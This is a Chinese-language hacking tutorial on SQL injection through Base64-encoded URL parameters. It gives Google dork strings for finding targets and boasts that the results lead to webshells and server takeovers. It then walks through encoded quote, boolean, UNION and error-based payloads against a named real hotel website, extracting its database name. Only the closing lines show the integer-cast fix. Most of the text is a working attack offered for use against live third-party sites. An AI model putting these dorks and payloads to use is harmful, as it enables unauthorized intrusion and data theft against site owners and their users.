Leave a comment (0) 作者:adwin

什么是注入?估计有点基础的人都会反问,你傻逼吧,问这么傻逼的问题,把自己的SQL语句插入到原程序中,操作数据库。
你的注入熟吗?常在论坛逛的人都会反问,你傻逼吧,问这么傻逼的问题,论坛这么多关于注入的文章,怎么可能不会,工具注手注无所不会。
那么你知道Base64变异注入吗?这下轮到你傻逼了吧?不知道,而且工具也没这么个功能,或者说,闻所未闻。如果你感觉对SQL手工注入已经很熟了,看看这篇文章吧
作者:YoCo Smart
来自:Silic Group Hacker Army
http://blackbap.org
通常我们在Google上面找SQL注入漏洞的时候,关键字会这么构造:

inurl:news.php?id=
 
inurl:*.php?id=12
 
inurl:.php?articleid=
 
....

不管怎么搜,通常我们的固定思维是,GET取值不是数字就是字符。整型数字,或者字符串。
那么你想没想过,如果你是程序编写者,你把这个真正的数字“隐藏”起来,该怎么做?一个好的方法就是对数字进行Base64加密。这个加密可逆,而且全是字符,操作起来又简单方便。
但是,有个问题就是Base64虽然可以隐藏数字,但是如果对数字不进行正则或者过滤,就产生了SQL注入。
事实上,这种把数字加密为Base64的url的网站多数存在注入点。你随便翻开一个注入点,注入,得到webshell或者服务器,你会发现上面已经有“前辈”们上去过了。而这些Base64变形的注入点,上面却干干净净。
好了,现在就告诉你什么是Base64变形注入。
Base64是一种加密方式,简单通俗的说,就是将任何的字母,数字,符号,汉字,进行一种编码,这种编码类似HEX编码,但是比HEX编码更复杂,但是仍然可逆,特点就是比原字符串的体积增加40%。关于这种加密方式,可以看一下这里:《网络传输协议----Base64详解》,如果看不懂也不要紧,我在文章末尾会提供一个Base64加密解密工具。
好了步入正题。
在谷歌选择注入关键字的时候,可能会有这样的关键字:

inurl:.php?id=13

那么,Base64编译注入的相同关键字“13”就是这样:

inurl:.php?id=MTM=

很怪?其实不怪,就是这样的,如图:

(经过测试,这个页面上的网址99%是注入点,这里面又有一半可以拿到Webshell,拿到Webshell的又有五到七成能拿下服务器)
.php?id=MTM=其实就是.php?id=13
只不过客户端显示的是Base64编码,而实际上服务器上是以"13"来执行的
.php?id=13加单引号来判断注入点,这样的注入步骤一样。只不过不是直接13加引号,要把13'这个来Base64编码。

13'这个字符串进行Base64编码得到:MTMn
以Google得到的第一个网址为例,

http://www.favehotels.com/location.php?id=MTM=
 
变更为:
 
http://www.favehotels.com/location.php?id=MTMn

我们看到了SQL的错误回显:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 3

这个错误回显很熟悉吧?
我们这样“.php?id=13 and 1=1”试试?
注意,Base64编码这里不能用加号"+"或者"%20"来替换SQL语句的空格
"13 and 1=1"的Base64编码就是"MTMgYW5kIDE9MQ=="
我们访问一下:

http://www.favehotels.com/location.php?id=MTM=
 
http://www.favehotels.com/location.php?id=MTMgYW5kIDE9MQ==

这两个页面是一模一样的对吧?
恩好了,后面要做的就是猜字段数和爆数据了

很不好意思的一点就是,这个网站的字段数我没有猜到。因为Base64编码虽然很容易转换,但是没猜一次就要转一次编码,实在繁琐。
我一直猜到了17个字段
正常的语句是:

.php?id=0 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7

那么转换成Base64的注入语句就是:

http://www.favehotels.com/location.php?id=MCB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4OSwwLDEsMiwzLDQsNSw2LDc=

数据库提示联合查询的字段数不统一:
The used SELECT statements have a different number of columns

有兴趣的同学继续猜好了,我这里抛砖引玉了。
我们遇到这种编码的站,如果嫌麻烦,不妨用一下MySQL错误回显注入的知识:《MySQL错误回显套公式法注入
那么注入语句也就是:

.php?id=0 union select 1 from (select count(*),concat(floor(rand(0)*2),(select database()))a from information_schema.tables group by a)b

进行Base64编码得到:

http://www.favehotels.com/location.php?id=MCB1bmlvbiBzZWxlY3QgMSBmcm9tIChzZWxlY3QgY291bnQoKiksY29uY2F0KGZsb29yKHJhbmQoMCkqMiksKHNlbGVjdCBkYXRhYmFzZSgpKSlhIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBncm91cCBieSBhKWI=

如图获得数据库名为:thefavehotels

代码相关:
这种编码防注入方法其实很简单,我们先从网站源码看起:

$at_id=base64_decode($_REQUEST['id']);//获取变量id并进行解码
 
$setcount=mysql_query("select at_visit from tbl_at where at_id='".$at_id."'") or die(mysql_error());
 
//将解码后的id直接带进数据库

我们且不管程序员怎么编码解码,总之,最后带进数据库的SQL语句,没有进行任何的检查,无论该是正则还是过滤,都没有。
那么,我们在他带进数据库以前进行强制转型为int整数型

这样就不会产生Base64编码下的注入漏洞了。
也可以直接将原语句改为:

$at_id=(int)base64_decode($_REQUEST['id']);

是一样的效果。

分享到:

我也说两句 »